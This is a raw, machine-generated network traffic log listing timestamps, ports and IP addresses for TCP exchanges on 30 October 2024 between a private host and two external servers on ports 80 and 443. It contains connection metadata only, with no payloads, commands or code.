Oct 30, 2024 05:25:32.826205969 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.826222897 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.826644897 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.826653957 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.826683044 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.826718092 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.826787949 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.826807976 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.826819897 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.826826096 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.826839924 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.826862097 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.826910019 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.826920986 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.826936960 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.826947927 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.826965094 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.826977968 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.827733040 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.827743053 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.827778101 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.827795982 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.835716963 CET	443	50007	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:32.835778952 CET	50007	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:32.847203970 CET	50007	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:32.847217083 CET	443	50007	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:32.847460032 CET	443	50007	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:32.849034071 CET	50007	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:32.849059105 CET	50007	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:32.849117041 CET	443	50007	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:32.855199099 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.855232000 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.855243921 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.855249882 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.855283022 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.886476994 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.886488914 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.886543989 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.886544943 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.886554003 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.886585951 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.886672020 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.886681080 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.886710882 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.886735916 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.886883020 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.886892080 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.886923075 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.886931896 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.886974096 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.886984110 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.887027025 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.887027025 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163054943 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163083076 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163094044 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163104057 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163115025 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163124084 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163135052 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163149118 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163160086 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163171053 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163247108 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163256884 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163254976 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163255930 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163255930 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163266897 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163278103 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163289070 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163289070 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163300991 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163316011 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163340092 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163484097 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163495064 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163506031 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163516998 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163522959 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163527966 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163537025 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163547993 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163552046 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163579941 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163595915 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163614988 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163642883 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163654089 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163656950 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163664103 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163680077 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163691044 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163712978 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163779974 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163789034 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163799047 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163811922 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163821936 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163826942 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163836002 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163845062 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163856030 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163867950 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163882971 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163928986 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163938046 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163947105 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.163969040 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.163995981 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.164027929 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164037943 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164066076 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.164078951 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.164102077 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164112091 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164120913 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164130926 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164141893 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164145947 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.164170027 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.164180994 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.164341927 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164352894 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164361954 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164378881 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164382935 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.164390087 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164400101 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164407015 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.164411068 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164421082 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164431095 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.164458036 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.164627075 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.164665937 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.168824911 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.168833971 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.168843985 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.168868065 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.168884039 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.168899059 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.168899059 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.168924093 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.169110060 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.169120073 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.169130087 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.169147015 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.169151068 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.169157982 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.169164896 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.169167995 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.169186115 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.169193983 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.169210911 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.169235945 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.169996977 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.170036077 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.170053959 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.170092106 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.170239925 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.170277119 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.170284986 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.170295954 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.170320034 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.170331955 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.170640945 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.170655012 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.170665979 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.170675993 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.170681000 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.170697927 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.170726061 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.171175003 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.171191931 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.171201944 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.171216965 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.171231985 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.171488047 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.171498060 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.171515942 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.171518087 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.171528101 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.171531916 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.171540022 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.171550989 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.171557903 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.171561003 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.171578884 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.171602964 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.172425032 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.172471046 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.172491074 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.172506094 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.172525883 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.172535896 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.172580004 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.172596931 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.172606945 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.172616005 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.172616959 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.172633886 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.172647953 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.173377037 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.173387051 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.173398972 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.173408985 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.173418999 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.173419952 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.173446894 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.173470974 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.176095009 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.176136971 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.176147938 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.176160097 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.176189899 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.176202059 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.176207066 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.176218987 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.176228046 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.176248074 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.176259995 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.176654100 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.176691055 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.176692963 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.176701069 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.176733017 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.176742077 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.177041054 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.177081108 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.177102089 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.177113056 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.177139997 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.177155972 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.177184105 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.177195072 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.177221060 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.177237034 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.177592039 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.177629948 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.177653074 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.177664042 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.177690983 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.177702904 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.177704096 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.177714109 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.177723885 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.177735090 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.177742004 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.177755117 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.177784920 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.178596020 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.178608894 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.178625107 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.178637028 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.178648949 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.178668976 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.205929041 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.205939054 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.205950022 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.205960035 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.206099987 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.206099987 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.237188101 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.237200022 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.237209082 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.237221956 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.237230062 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.237236023 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.237260103 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.237287998 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.237463951 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.237503052 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.237508059 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.237545967 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.237582922 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.237592936 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.237597942 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.237624884 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.237638950 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.279588938 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.279642105 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.279654980 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.279664993 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.279689074 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.279709101 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.287962914 CET	443	50007	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:33.288137913 CET	443	50007	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:33.288237095 CET	50007	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:33.288507938 CET	50007	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:33.288507938 CET	50007	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:33.288526058 CET	443	50007	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:33.288535118 CET	443	50007	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:33.290649891 CET	50008	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.293128967 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293153048 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293164968 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293188095 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.293209076 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.293267012 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293277025 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293287039 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293296099 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293304920 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.293308020 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293318033 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293329000 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.293334007 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293349981 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.293364048 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.293592930 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293641090 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.293649912 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293661118 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293670893 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293692112 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.293718100 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.293872118 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293883085 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293901920 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293911934 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293914080 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.293924093 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.293941021 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.293968916 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.294140100 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.294181108 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.294195890 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.294207096 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.294235945 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.294241905 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.294251919 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.294255018 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.294274092 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.294291019 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.296056986 CET	80	50008	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.296134949 CET	50008	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.297344923 CET	50008	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:33.302614927 CET	80	50008	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:33.322664022 CET	80	50006	185.215.113.16	192.168.2.6
